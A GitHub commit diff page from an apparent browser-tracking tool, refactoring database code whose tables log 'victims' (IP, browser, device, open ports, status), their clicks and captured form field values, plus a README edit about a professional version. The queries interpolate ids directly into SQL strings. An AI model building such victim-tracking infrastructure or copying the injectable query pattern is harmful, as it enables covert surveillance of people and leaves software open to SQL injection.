You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: README.md
+1-1Lines changed: 1 addition & 1 deletion
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -86,7 +86,7 @@ This development and others, the participants will be mentioned with name, Twitt
86
86
87
87
Professional Version
88
88
-------
89
-
Yes, we also have a professional version with more sophisticated features. If you would like to get the Professional version or request contact us at [email protected]
89
+
Yes, we also have a professional version with more sophisticated features. If you would like to get the professional version or request contact us at [email protected]
c.execute("""CREATE TABLE IF NOT EXISTS "networks" ( `id` TEXT, `ip` TEXT, `public_ip` INTEGER, `network` TEXT, `date` TEXT )""")
24
-
c.execute("""CREATE TABLE IF NOT EXISTS "requests" ( `id` TEXT, `user_id` TEXT, `site` TEXT, `fid` TEXT, `name` TEXT, `value` TEXT, `date` TEXT )""")
25
-
c.execute("""CREATE TABLE IF NOT EXISTS "victims" ( `id` TEXT, `ip` TEXT, `date` TEXT, `time` REAL, `bVersion` TEXT, `browser` TEXT, `device` TEXT, `cpu` TEXT, `ports` TEXT, `status` TEXT )""")
26
-
c.execute("""CREATE TABLE IF NOT EXISTS "clicks" ( `id` TEXT, `site` TEXT, `date` TEXT )""")
27
-
conn.commit()
28
-
returnTrue
30
+
defsql_execute(self, sentence):
31
+
self.cursor.execute(sentence)
32
+
returnself.cursor.fetchall()
29
33
30
-
defsql_execute(sentence):
31
-
c=conn.cursor()
32
-
c.execute(sentence)
33
-
returnc.fetchall()
34
+
defsql_one_row(self, sentence, column):
35
+
self.cursor.execute(sentence)
36
+
returnself.cursor.fetchone()[column]
34
37
35
-
defsql_one_row(sentence, column):
36
-
c=conn.cursor()
37
-
c.execute(sentence)
38
-
returnc.fetchone()[column]
38
+
defsql_insert(self, sentence):
39
+
self.cursor.execute(sentence)
40
+
self.conn.commit()
41
+
returnTrue
39
42
40
-
defsql_insert(sentence):
41
-
c=conn.cursor()
42
-
c.execute(sentence)
43
-
conn.commit()
44
-
returnTrue
43
+
defprop_sentences_stats(self, type, vId=None):
44
+
return {
45
+
'get_data' : "SELECT victims.*, geo.*, victims.ip AS ip_local, COUNT(clicks.id) FROM victims INNER JOIN geo ON victims.id = geo.id LEFT JOIN clicks ON clicks.id = victims.id GROUP BY victims.id ORDER BY victims.time DESC",
46
+
'all_networks' : "SELECT networks.* FROM networks ORDER BY id",
47
+
'get_preview' : "SELECT victims.*, geo.*, victims.ip AS ip_local FROM victims INNER JOIN geo ON victims.id = geo.id WHERE victims.id = '%s'"% (vId),
48
+
'id_networks' : "SELECT networks.* FROM networks WHERE id = '%s'"% (vId),
49
+
'get_requests' : "SELECT requests.*, geo.ip FROM requests INNER JOIN geo on geo.id = requests.user_id ORDER BY requests.date DESC, requests.id ",
50
+
'get_sessions' : "SELECT COUNT(*) AS Total FROM networks",
51
+
'get_clicks' : "SELECT COUNT(*) AS Total FROM clicks",
52
+
'get_online' : "SELECT COUNT(*) AS Total FROM victims WHERE status = '%s'"% ('online')
53
+
}.get(type, False)
45
54
46
-
defprop_sentences_stats(type, vId=None):
47
-
return {
48
-
'get_data' : "SELECT victims.*, geo.*, victims.ip AS ip_local, COUNT(clicks.id) FROM victims INNER JOIN geo ON victims.id = geo.id LEFT JOIN clicks ON clicks.id = victims.id GROUP BY victims.id ORDER BY victims.time DESC",
49
-
'all_networks' : "SELECT networks.* FROM networks ORDER BY id",
50
-
'get_preview' : "SELECT victims.*, geo.*, victims.ip AS ip_local FROM victims INNER JOIN geo ON victims.id = geo.id WHERE victims.id = '%s'"% (vId),
51
-
'id_networks' : "SELECT networks.* FROM networks WHERE id = '%s'"% (vId),
52
-
'get_requests' : "SELECT requests.*, geo.ip FROM requests INNER JOIN geo on geo.id = requests.user_id ORDER BY requests.date DESC, requests.id ",
53
-
'get_sessions' : "SELECT COUNT(*) AS Total FROM networks",
54
-
'get_clicks' : "SELECT COUNT(*) AS Total FROM clicks",
55
-
'get_online' : "SELECT COUNT(*) AS Total FROM victims WHERE status = '%s'"% ('online')
utils.Go(utils.Color['white'] +"["+utils.Color['redBold'] +"-"+utils.Color['white'] +"]"+utils.Color['red'] +" "+"A victim has closed her connection with the following id:"+" "+utils.Color['green'] +d['vId'] +utils.Color['white'])
Copy file name to clipboardExpand all lines: core/trape.py
+2-7Lines changed: 2 additions & 7 deletions
Original file line number
Diff line number
Diff line change
@@ -18,7 +18,6 @@
18
18
importsys
19
19
importos
20
20
fromcore.utilsimportutils
21
-
fromcore.dbimportcreate_db
22
21
23
22
classTrape(object):
24
23
def__init__(self):
@@ -67,14 +66,10 @@ def rootConnection(self):
67
66
utils.Go(utils.Color["redBold"] +"[x] "+utils.Color["white"] +"You must run in mode "+utils.Color["whiteBold"] +"root"+utils.Color["white"] +" to be able to operate.")
68
67
exit(0)
69
68
70
-
# Database creation.
71
-
defrunDatabase(self):
72
-
create_db()
73
-
69
+
# Detect operating system, to compose the compatibility
74
70
defloadCheck(self):
75
-
# Detect operating system, to compose the compatibility
0 commit comments